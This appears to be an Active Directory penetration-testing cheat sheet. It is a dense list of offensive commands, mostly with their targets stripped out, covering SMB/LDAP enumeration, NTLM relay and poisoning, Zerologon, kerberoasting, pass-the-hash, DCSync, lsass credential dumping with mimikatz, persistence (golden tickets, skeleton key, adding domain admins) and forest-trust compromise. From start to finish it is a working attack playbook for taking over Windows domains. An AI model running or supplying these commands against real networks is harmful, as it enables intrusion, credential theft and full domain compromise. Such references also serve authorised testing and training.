Scan Network

cme smb # enumerate smb hosts

nmap -sP -p # ping scan

nmap -PN -sV –top-ports 50 –open # quick scan

nmap -PN –script smb-vuln* -p139,445 # search smb vuln

nmap -PN -sC -sV # classic scan

nmap -PN -sC -sV -p- # full scan

nmap -sU -sC -sV # udp scan

find AD IP

nmcli dev show eth0 # show domain name & dns

nslookup -type=SRV _ldap._tcp.dc._msdcs.//DOMAIN/

zone transfert

dig axfr @

List guest access on smb share

enum4linux -a -u “” -p “” && enum4linux -a -u “guest” -p “”

smbmap -u “” -p “” -P 445 -H && smbmap -u “guest” -p “” -P 445 -H

smbclient -U ‘%’ -L // && smbclient -U ‘guest%’ -L //

cme smb -u ” -p ” # enumerate null session

cme smb -u ‘a’ -p ” # enumerate anonymous access

Enumerate ldap

nmap -n -sV –script “ldap* and not brute” -p 389

ldapsearch -x -h -s base

Find user list

enum4linux -U | grep ‘user:’

crackmapexec smb -u -p ” –users

OSINT – enumerate username on internet

• nmap -p 88 –script=krb5-enum-users –script-args=”krb5-enum-users.realm=”,userdb=”

relay/poisoning

find smb not signed

• nmap -Pn -sS -T4 –open –script smb-security-mode -p445 ADDRESS/MASK
• use exploit/windows/smb/smb_relay
• cme smb $hosts –gen-relay-list relay.txt

PetitPotam.py -d

responder -i eth0

mitm6 -d

zerologon

python3 cve-2020-1472-exploit.py

secretsdump.py /\$@ -no-pass -just-dc-user “Administrator”
secretsdump.py -hashes : /Administrator@

• python3 restorepassword.py -target-ip /@ -hexpass

mayfly (@M4yFly)

Got one account on the domain

Get all users

• GetADUsers.py -all -dc-ip /

enumerate SMB share

• cme smb -u -p –shares

bloodhound

• bloodhound-python -d -u -p -gc -c all

powerview / pywerview

kerberoasting

• Get hash
  • GetUserSPNs.py -request -dc-ip /:
  • Rubeus kerberoast
• Get kerberoastable users
  • Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
  • MATCH (u:User {hasspn:true}) RETURN u
  • MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

MS14-068

• FindSMB2UPTime.py
  • rpcclient $> lookupnames
    wmic useraccount get name,sid
    auxiliary/admin/kerberos/ms14_068_kerberos_checksum
  • goldenPac.py -dc-ip /:”@
    • kerberos::ptc “”

dnscmd.exe /config /serverlevelplugindll <\path\to\dll> # need a dnsadmin user

• sc \DNSServer stop dns
  sc \DNSServer start dns

PrintNightmare

• CVE-2021-1675.py /:@ ‘\\\inject.dll’

enum dns

• dnstool.py -u ‘DOMAIN\user’ -p ‘password’ –record ‘*’ –action query

Got valid username

Password spray

• Get password policy
  • crackmapexec -u ‘user’ -p ‘password’ –pass-pol
  • enum4linx -u ‘username’ -p ‘password’ -P
• cme smb -u user.txt -p password.txt –no-bruteforce # test user=password
• cme smb -u user.txt -p password.txt # multiple test (carrefull of lock policy)

ASREPRoast

• Get hash
  • python GetNPUsers.py / -usersfile -format hashcat -outputfile
  • Rubeus asreproast /format:hashcat
• Get ASREPRoastable users
  • Get-DomainUser -PreauthNotRequired -Properties SamAccountName
  • MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Lateral move

pass the hash

• psexec.py -hashes “:” @
• wmiexec.py -hashes “:” @
• atexec.py -hashes “:” @ “command”
• evil-winrm -i / -u -H
• xfreerdp /u: /d: /pth: /v:

overpass the hash / pass the key (PTK)

• python getTGT.py / -hashes :
  • export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
    • python psexec.py /@ -k -no-pass
• Rubeus asktgt /user:victim /rc4:
  • Rubeus ptt /ticket:
  • Rubeus createnetonly /program:C:\Windows\System32[cmd.exe||upnpcont.exe]
    • Rubeus ptt /luid:0xdeadbeef /ticket:

Unconstrained delegation

• Get tickets
  • privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
  • Rubeus dump /service:krbtgt /nowrap
  • Rubeus dump /luid:0xdeadbeef /nowrap
• Get unconstrained delegation machines
  • Get-NetComputer -Unconstrained
  • Get-DomainComputer -Unconstrained -Properties DnsHostName
  • MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
  • MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

Constrained delegation

• Get tickets
  • privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
  • Rubeus dump /service:krbtgt /nowrap
  • Rubeus dump /luid:0xdeadbeef /nowrap
• Get constrained delegation machines
  • Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
  • MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
  • MATCH (u:User {owned:true}), (c:Computer {name: “”}), p=shortestPath((u)-[*1..]->(c)) RETURN p

Resource-Based Constrained Delegation

dcsync

• lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts

WSUSpect

• WSUSpendu.ps1 # need compromised WSUS server

sccm

• CMPivot

MSSQL Trusted Links

• use exploit/windows/mssql/mssql_linkcrawler

Printers spooler service abuse

• rpcdump.py /:@ | grep MS-RPRN
  • printerbug.py ‘/:’@

AD acl abuse

• aclpwn.py
  • GenericAll on User
  • GenericAll on Group
  • GenericAll / GenericWrite / Write on Computer
  • WriteProperty on Group
  • Self (Self-Membership) on Group
  • WriteProperty (Self-Membership)
  • ForceChangePassword
  • WriteOwner on Group
  • GenericWrite on User
  • WriteDACL + WriteOwner

GPO Delegation

get laps passwords

• Get-LAPSPasswords -DomainController -Credential \ | Format-Table -AutoSize
• foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

privexchange

• python privexchange.py -ah -u -d -p
  • ntlmrelayx.py -t ldap://–escalate-user

ADCS

find hash

crack hash

• LM
  • john –format=lm hash.txt
  • hashcat -m 3000 -a 3 hash.txt
• NTLM
  • john –format=nt hash.txt
  • hashcat -m 1000 -a 3 hash.txt
• NTLMv1
  • john –format=netntlm hash.txt
  • hashcat -m 5500 -a 3 hash.txt
• NTLMv2
  • john –format=netntlmv2 hash.txt
  • hashcat -m 5600 -a 0 hash.txt rockyou.txt
• Kerberos 5 TGS
  • john spn.txt –format=krb5tgs –wordlist=rockyou.txt
  • hashcat -m 13100 -a 0 spn.txt rockyou.txt
• Kerberos ASREP
  • hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

relay

MS08-068

• use exploit/windows/smb/smb_relay #windows200 / windows server2008

responder -I eth0 # disable smb & http

• ntlmrelayx.py -tf targets.txt

mitm6 -i eth0 -d

• ntlmrelayx.py -6 -wh -l /tmp -socks -debug
• ntlmrelayx.py -6 -wh -t smb:// -l /tmp -socks -debug
• ntlmrelayx.py -t ldaps:// -wh –delegate-access
  • getST.py -spn cifs/ /\$ -impersonate

adcs

• ntlmrelayx.py -t http:///certsrv/certfnsh.asp -debug -smb2support –adcs –template DomainController
  • Rubeus.exe asktgt /user: /certificate: /ptt

Domain admin

dump ntds.dit

• crackmapexec smb 127.0.0.1 -u -p -d –ntds
• secretsdump.py ‘/:’@
• ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q
  • secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
• windows/gather/credentials/domain_hashdump

Persistance

net group “domain admins” myuser /add /domain

Golden ticket

• ticketer.py -nthash -domain-sid -domain

Silver Ticket

DSRM

• PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD

Skeleton Key

• mimikatz “privilege::debug” “misc::skeleton” “exit”

Custom SSP

• mimikatz “privilege::debug” “misc::memssp” “exit”
  • C:\Windows\System32\kiwissp.log

…

Administrator access

get credentials

• procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • mimikatz “privilege::debug” “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords” “exit”
• mimikatz “privilege::debug” “token::elevate” “sekurlsa::logonpasswords” “lsadump::sam” “exit”
• post/windows/gather/smart_hashdump
  • hashdump
• cme smb -u -p -M lsassy
• cme smb -u -p ” –sam / –lsa / –ntds

LSA as a Protected Process

• PPLdump64.exe lsass.dmp
• mimikatz “!+” “!processprotect /process:lsass.exe /remove” “privilege::debug” “token::elevate” “sekurlsa::logonpasswords” “!processprotect /process:lsass.exe” “!-” #with mimidriver.sys

search password files

• findstr /si ‘password’ *.txt *.xml *.docx

search stored password

• lazagne.exe all

shadow copies

• diskshadow list shadows all
  • mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

token manipulation

• .\incognito.exe list_tokens -u
  • .\incognito.exe execute -c “\” powershell.exe
• use incognito
  • impersonate_token \

dpapi extract

Low hanging fruit

java rmi

• exploit/multi/misc/java_rmi_server

ms17-010

• exploit/windows/smb/ms17_010_eternalblue

tomcat/jboss manager

• auxiliary/scanner/http/tomcat_enum
  exploit/multi/http/tomcat_mgr_deploy

java serialized port

• ysoserial

vulnerable product with cve

• searchsploit

MS14-025

• use scanner/smb/smb_enum_gpp
• findstr /S /I cpassword \\sysvol\\policies*.xml

database credentials

• use admin/mssql/mssql_enum_sql_logins

proxylogon

proxyshell

Low access

winpeas.exe

search password files

• findstr /si ‘password’ *.txt *.xml *.docx

Juicy Potato / Lovely Potato

PrintSpoofer

RoguePotato

SMBGhost CVE-2020-0796

CVE-2021-36934 (HiveNightmare/SeriousSAM)

…

Trust relationship

Child Domain to Forest Compromise – SID Hijacking

• Get-NetGroup -Domain -GroupName “Enterprise Admins” -FullData|select objectsid
  • mimikatz lsadump::trust
    • kerberos::golden /user:Administrator /krbtgt: /domain: /sid: /sids: /ptt

Forest to Forest Compromise – Trust Ticket

• “lsadump::trust /patch”
  “lsadump::lsa /patch”
  • “kerberos::golden /user:Administrator /domain: /sid:
    /rc4: /service:krbtgt /target: /ticket:
    “
    • .\Rubeus.exe asktgs /ticket: /service:”Service’s SPN” /ptt

Breaking forest trust

• printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync